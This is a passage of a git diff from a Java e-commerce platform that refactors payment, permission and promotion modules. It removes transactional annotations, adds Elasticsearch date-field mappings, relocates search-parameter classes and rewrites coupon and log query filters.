import cn.lili.modules.system.service.SettingService; @@ -397,10 +396,9 @@ public class WechatPlugin implements Payment { //微信小程序,appid 需要单独获取,这里读取了联合登陆配置的appid ,实际场景小程序自动登录,所以这个appid是最为保险的做法 //如果有2开需求,这里需要调整,修改这个appid的获取途径即可 String appid = wechatPaymentSetting().getMpAppId(); - if (appid == null) { + if (StringUtils.isEmpty(appid)) { throw new ServiceException(ResultCode.WECHAT_PAYMENT_NOT_SETTING); } - String attach = URLEncoder.createDefault().encode(JSONUtil.toJsonStr(payParam), StandardCharsets.UTF_8); WechatPaymentSetting setting = wechatPaymentSetting(); diff --git a/framework/src/main/java/cn/lili/modules/payment/serviceimpl/PaymentServiceImpl.java b/framework/src/main/java/cn/lili/modules/payment/serviceimpl/PaymentServiceImpl.java index a601d6d1..7713cbc7 100644 --- a/framework/src/main/java/cn/lili/modules/payment/serviceimpl/PaymentServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/payment/serviceimpl/PaymentServiceImpl.java @@ -19,7 +19,6 @@ import java.util.List; */ @Slf4j @Service -@Transactional(rollbackFor = Exception.class) public class PaymentServiceImpl implements PaymentService { @Autowired diff --git a/framework/src/main/java/cn/lili/modules/payment/serviceimpl/RefundLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/payment/serviceimpl/RefundLogServiceImpl.java index 6efc4f87..7c13dfe5 100644 --- a/framework/src/main/java/cn/lili/modules/payment/serviceimpl/RefundLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/payment/serviceimpl/RefundLogServiceImpl.java @@ -15,7 +15,6 @@ import org.springframework.transaction.annotation.Transactional; * @since 2020-12-19 09:25 */ @Service -@Transactional(rollbackFor = Exception.class) public class RefundLogServiceImpl extends ServiceImpl implements RefundLogService { @Override diff --git a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/AdminUserServiceImpl.java b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/AdminUserServiceImpl.java index 7bd421b3..70467de2 100644 --- a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/AdminUserServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/AdminUserServiceImpl.java @@ -42,7 +42,6 @@ import java.util.stream.Collectors; */ @Slf4j @Service -@Transactional(rollbackFor = Exception.class) public class AdminUserServiceImpl extends ServiceImpl implements AdminUserService { @Autowired private UserRoleService userRoleService; @@ -119,7 +118,7 @@ public class AdminUserServiceImpl extends ServiceImpl implements DepartmentRoleService { diff --git a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/DepartmentServiceImpl.java b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/DepartmentServiceImpl.java index c9d6e578..138a2a27 100644 --- a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/DepartmentServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/DepartmentServiceImpl.java @@ -27,7 +27,6 @@ import java.util.List; */ @Slf4j @Service -@Transactional(rollbackFor = Exception.class) public class DepartmentServiceImpl extends ServiceImpl implements DepartmentService { /** diff --git a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/RoleMenuServiceImpl.java b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/RoleMenuServiceImpl.java index 5a72298a..ebb2c2de 100644 --- a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/RoleMenuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/RoleMenuServiceImpl.java @@ -26,7 +26,6 @@ import java.util.List; */ @Slf4j @Service -@Transactional(rollbackFor = Exception.class) public class RoleMenuServiceImpl extends ServiceImpl implements RoleMenuService { /** diff --git a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/RoleServiceImpl.java b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/RoleServiceImpl.java index 3a2093aa..57fb4b6a 100644 --- a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/RoleServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/RoleServiceImpl.java @@ -23,7 +23,6 @@ import java.util.List; * @since 2020/11/17 3:50 下午 */ @Service -@Transactional(rollbackFor = Exception.class) public class RoleServiceImpl extends ServiceImpl implements RoleService { /** diff --git a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java index a1f21b30..7b519465 100644 --- a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java @@ -1,5 +1,6 @@ package cn.lili.modules.permission.serviceimpl; +import cn.hutool.core.date.DateUtil; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.SearchVO; @@ -21,7 +22,6 @@ import org.springframework.data.elasticsearch.core.SearchHit; import org.springframework.data.elasticsearch.core.SearchHits; import org.springframework.data.elasticsearch.core.query.NativeSearchQueryBuilder; import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; import java.util.List; import java.util.stream.Collectors; @@ -33,7 +33,6 @@ import java.util.stream.Collectors; * @since 2020/11/17 3:45 下午 */ @Service -@Transactional(rollbackFor = Exception.class) public class SystemLogServiceImpl implements SystemLogService { @Autowired @@ -65,9 +64,10 @@ public class SystemLogServiceImpl implements SystemLogService { @Override public IPage queryLog(String storeId, String operatorName, String key, SearchVO searchVo, PageVO pageVO) { + pageVO.setNotConvert(true); IPage iPage = new Page<>(); NativeSearchQueryBuilder nativeSearchQueryBuilder = new NativeSearchQueryBuilder(); - if (pageVO != null) { + if (pageVO.getPageNumber() != null && pageVO.getPageSize() != null) { int pageNumber = pageVO.getPageNumber() - 1; if (pageNumber < 0) { pageNumber = 0; @@ -101,26 +101,22 @@ public class SystemLogServiceImpl implements SystemLogService { //大于方法 filterBuilder.must( QueryBuilders.rangeQuery("createTime") - .gte(searchVo.getConvertStartDate().getTime())); - //小于方法 - filterBuilder.must( - QueryBuilders.rangeQuery("createTime") - .lt(searchVo.getConvertEndDate().getTime())); + .gte(DateUtil.format(searchVo.getConvertStartDate(), "dd/MM/yyyy")) + .lte(DateUtil.format(searchVo.getConvertEndDate(), "dd/MM/yyyy")).format("dd/MM/yyyy||yyyy")); nativeSearchQueryBuilder.withFilter(filterBuilder); } + if (CharSequenceUtil.isNotEmpty(pageVO.getOrder()) && CharSequenceUtil.isNotEmpty(pageVO.getSort())) { + nativeSearchQueryBuilder.withSort(SortBuilders.fieldSort(pageVO.getSort()).order(SortOrder.valueOf(pageVO.getOrder().toUpperCase()))); + } else { + nativeSearchQueryBuilder.withSort(SortBuilders.fieldSort("createTime").order(SortOrder.DESC)); + } + SearchHits searchResult = restTemplate.search(nativeSearchQueryBuilder.build(), SystemLogVO.class); iPage.setTotal(searchResult.getTotalHits()); - if (pageVO != null && CharSequenceUtil.isNotEmpty(pageVO.getOrder()) && CharSequenceUtil.isNotEmpty(pageVO.getSort())) { - nativeSearchQueryBuilder.withSort(SortBuilders.fieldSort(pageVO.getSort()).order(SortOrder.valueOf(pageVO.getOrder().toUpperCase()))); - } else { - nativeSearchQueryBuilder.withSort(SortBuilders.fieldSort("createTime").order(SortOrder.DESC)); - } - - iPage.setRecords(searchResult.getSearchHits().stream().map(SearchHit::getContent).collect(Collectors.toList())); return iPage; } diff --git a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/UserRoleServiceImpl.java b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/UserRoleServiceImpl.java index 77912879..245710b7 100644 --- a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/UserRoleServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/UserRoleServiceImpl.java @@ -20,7 +20,6 @@ import java.util.List; * @since 2020/11/17 3:52 下午 */ @Service -@Transactional(rollbackFor = Exception.class) public class UserRoleServiceImpl extends ServiceImpl implements UserRoleService { @Override diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotions.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/BasePromotions.java similarity index 79% rename from framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotions.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dos/BasePromotions.java index 512dfe24..f3366dde 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotions.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/BasePromotions.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.dto; +package cn.lili.modules.promotion.entity.dos; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; @@ -7,6 +7,9 @@ import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; +import org.springframework.data.elasticsearch.annotations.DateFormat; +import org.springframework.data.elasticsearch.annotations.Field; +import org.springframework.data.elasticsearch.annotations.FieldType; import javax.validation.constraints.NotEmpty; import java.util.Date; @@ -35,10 +38,12 @@ public class BasePromotions extends BaseEntity { @ApiModelProperty(value = "活动开始时间", required = true) @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date startTime; @ApiModelProperty(value = "活动结束时间", required = true) @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date endTime; /** diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java index c7948947..0a8f172d 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.enums.CouponRangeDayEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponVO; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java index 5db90bfc..fdc2615e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.enums.CouponActivitySendTypeEnum; import cn.lili.modules.promotion.entity.enums.CouponActivityTypeEnum; import com.baomidou.mybatisplus.annotation.TableName; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java index e7ea4388..e6e18ed7 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java index acf01efe..8f6626ed 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java index a726e780..6eeff349 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java @@ -13,6 +13,9 @@ import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; +import org.springframework.data.elasticsearch.annotations.DateFormat; +import org.springframework.data.elasticsearch.annotations.Field; +import org.springframework.data.elasticsearch.annotations.FieldType; import java.util.Date; @@ -74,10 +77,12 @@ public class MemberCoupon extends BaseEntity { @ApiModelProperty(value = "使用起始时间") @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date startTime; @ApiModelProperty(value = "使用截止时间") @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date endTime; /** * @see cn.lili.modules.promotion.entity.enums.CouponGetEnum @@ -93,6 +98,7 @@ public class MemberCoupon extends BaseEntity { @ApiModelProperty(value = "核销时间") @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date consumptionTime; /** diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java index 4e4a485b..a7b75ff5 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java index c3d692ba..8239ac39 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java index 427bccb7..8482ee60 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java @@ -13,6 +13,9 @@ import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; import lombok.NoArgsConstructor; +import org.springframework.data.elasticsearch.annotations.DateFormat; +import org.springframework.data.elasticsearch.annotations.Field; +import org.springframework.data.elasticsearch.annotations.FieldType; import java.util.Date; @@ -51,10 +54,12 @@ public class PromotionGoods extends BaseEntity { @ApiModelProperty(value = "活动开始时间") @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date startTime; @ApiModelProperty(value = "活动结束时间") @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date endTime; @ApiModelProperty(value = "活动id") diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java index 54c0230d..fbe4232d 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java @@ -3,7 +3,6 @@ package cn.lili.modules.promotion.entity.dos; import cn.hutool.core.date.DateField; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.vos.SeckillVO; import cn.lili.modules.promotion.tools.PromotionTools; import com.baomidou.mybatisplus.annotation.TableName; @@ -14,6 +13,9 @@ import lombok.Data; import lombok.EqualsAndHashCode; import lombok.NoArgsConstructor; import org.springframework.beans.BeanUtils; +import org.springframework.data.elasticsearch.annotations.DateFormat; +import org.springframework.data.elasticsearch.annotations.Field; +import org.springframework.data.elasticsearch.annotations.FieldType; import javax.validation.constraints.NotNull; import java.util.Date; @@ -36,6 +38,7 @@ public class Seckill extends BasePromotions { @NotNull(message = "请填写报名截止时间") @ApiModelProperty(value = "报名截至时间", required = true) @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date applyEndTime; @ApiModelProperty(value = "申请规则") diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/BasePromotionsSearchParams.java similarity index 91% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/BasePromotionsSearchParams.java index 5999e332..0131aa3e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/BasePromotionsSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.vos; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; @@ -43,6 +43,19 @@ public class BasePromotionsSearchParams { private String storeId; public QueryWrapper queryWrapper() { + QueryWrapper queryWrapper = this.baseQueryWrapper(); + + if (CharSequenceUtil.isNotEmpty(promotionStatus)) { + queryWrapper.and(i -> { + for (String status : promotionStatus.split(",")) { + i.or(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.valueOf(status))); + } + }); + } + return queryWrapper; + } + + public QueryWrapper baseQueryWrapper() { QueryWrapper queryWrapper = new QueryWrapper<>(); if (CharSequenceUtil.isNotEmpty(id)) { @@ -54,13 +67,6 @@ public class BasePromotionsSearchParams { if (endTime != null) { queryWrapper.le("end_time", new Date(endTime)); } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - queryWrapper.and(i -> { - for (String status : promotionStatus.split(",")) { - i.or(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.valueOf(status))); - } - }); - } if (CharSequenceUtil.isNotEmpty(scopeType)) { queryWrapper.eq("scope_type", scopeType); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/CouponSearchParams.java similarity index 64% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/CouponSearchParams.java index 279c73b0..eddecde6 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/CouponSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.vos; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.modules.promotion.entity.enums.*; @@ -56,16 +56,11 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se */ @ApiModelProperty(value = "优惠券类型,分为免费领取和活动赠送") private String getType; - /** - * @see MemberCouponStatusEnum - */ - @ApiModelProperty(value = "会员优惠券状态") - private String memberCouponStatus; @Override public QueryWrapper queryWrapper() { - QueryWrapper queryWrapper = super.queryWrapper(); + QueryWrapper queryWrapper = super.baseQueryWrapper(); if (CharSequenceUtil.isNotEmpty(couponName)) { queryWrapper.like("coupon_name", couponName); } @@ -84,28 +79,28 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se if (CharSequenceUtil.isNotEmpty(getType)) { queryWrapper.eq("get_type", CouponGetEnum.valueOf(getType).name()); } - if (CharSequenceUtil.isNotEmpty(memberCouponStatus)) { - queryWrapper.eq("member_coupon_status", MemberCouponStatusEnum.valueOf(memberCouponStatus).name()); - } if (CharSequenceUtil.isNotEmpty(this.getPromotionStatus())) { - switch (PromotionsStatusEnum.valueOf(this.getPromotionStatus())) { - case NEW: - queryWrapper.nested(i -> i.gt(PromotionTools.START_TIME_COLUMN, new Date()).gt(PromotionTools.END_TIME_COLUMN, new Date())); - break; - case START: - queryWrapper.nested(i -> i.le(PromotionTools.START_TIME_COLUMN, new Date()).ge(PromotionTools.END_TIME_COLUMN, new Date())) - .or(i -> i.gt("effective_days", 0).eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.DYNAMICTIME.name())); - break; - case END: - queryWrapper.nested(i -> i.lt(PromotionTools.START_TIME_COLUMN, new Date()).lt(PromotionTools.END_TIME_COLUMN, new Date())); - break; - case CLOSE: - queryWrapper.nested(n -> n.nested(i -> i.isNull(PromotionTools.START_TIME_COLUMN).isNull(PromotionTools.END_TIME_COLUMN) - .eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.FIXEDTIME.name())). - or(i -> i.le("effective_days", 0).eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.DYNAMICTIME.name()))); - break; - default: - } + queryWrapper.and(p -> { + switch (PromotionsStatusEnum.valueOf(this.getPromotionStatus())) { + case NEW: + p.nested(i -> i.gt(PromotionTools.START_TIME_COLUMN, new Date()).gt(PromotionTools.END_TIME_COLUMN, new Date())); + break; + case START: + p.nested(i -> i.le(PromotionTools.START_TIME_COLUMN, new Date()).ge(PromotionTools.END_TIME_COLUMN, new Date())) + .or(i -> i.gt("effective_days", 0).eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.DYNAMICTIME.name())); + break; + case END: + p.nested(i -> i.lt(PromotionTools.START_TIME_COLUMN, new Date()).lt(PromotionTools.END_TIME_COLUMN, new Date())); + break; + case CLOSE: + p.nested(n -> n.nested(i -> i.isNull(PromotionTools.START_TIME_COLUMN).isNull(PromotionTools.END_TIME_COLUMN) + .eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.FIXEDTIME.name())). + or(i -> i.le("effective_days", 0).eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.DYNAMICTIME.name()))); + break; + default: + } + }); + } if (this.getStartTime() != null) { queryWrapper.ge("start_time", new Date(this.getEndTime())); @@ -113,7 +108,6 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se if (this.getEndTime() != null) { queryWrapper.le("end_time", new Date(this.getEndTime())); } - queryWrapper.eq("delete_flag", false); this.betweenWrapper(queryWrapper); queryWrapper.orderByDesc("create_time"); return queryWrapper; @@ -123,25 +117,25 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se if (CharSequenceUtil.isNotEmpty(publishNum)) { String[] s = publishNum.split("_"); if (s.length > 1) { - queryWrapper.ge("publish_num", s[1]); + queryWrapper.between("publish_num", s[0], s[1]); } else { - queryWrapper.le("publish_num", publishNum); + queryWrapper.ge("publish_num", s[0]); } } if (CharSequenceUtil.isNotEmpty(price)) { String[] s = price.split("_"); if (s.length > 1) { - queryWrapper.ge(PRICE_COLUMN, s[1]); + queryWrapper.between(PRICE_COLUMN, s[0], s[1]); } else { - queryWrapper.le(PRICE_COLUMN, s[0]); + queryWrapper.ge(PRICE_COLUMN, s[0]); } } if (CharSequenceUtil.isNotEmpty(receivedNum)) { String[] s = receivedNum.split("_"); if (s.length > 1) { - queryWrapper.ge("received_num", s[1]); + queryWrapper.between("received_num", s[0], s[1]); } else { - queryWrapper.le("received_num", s[0]); + queryWrapper.ge("received_num", s[0]); } } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/FullDiscountSearchParams.java similarity index 96% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/FullDiscountSearchParams.java index d1f0adb5..c49c8e24 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/FullDiscountSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.vos; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanJiaActivityLogQuery.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanJiaActivityLogQuery.java similarity index 94% rename from framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanJiaActivityLogQuery.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanJiaActivityLogQuery.java index 0639bc89..dbdd86ea 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanJiaActivityLogQuery.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanJiaActivityLogQuery.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.dto; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivityGoodsParams.java similarity index 91% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivityGoodsParams.java index f1740fe6..e8fbc84f 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivityGoodsParams.java @@ -1,10 +1,9 @@ -package cn.lili.modules.promotion.entity.vos.kanjia; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; -import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanjiaActivityQuery.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivityQuery.java similarity index 93% rename from framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanjiaActivityQuery.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivityQuery.java index 332a7d39..c31d2ab4 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanjiaActivityQuery.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivityQuery.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.dto; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; @@ -6,8 +6,6 @@ import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; -import java.util.Date; - /** * 砍价活动参与实体类 diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivitySearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivitySearchParams.java similarity index 92% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivitySearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivitySearchParams.java index 24c10cbd..6b7560ae 100644 --- 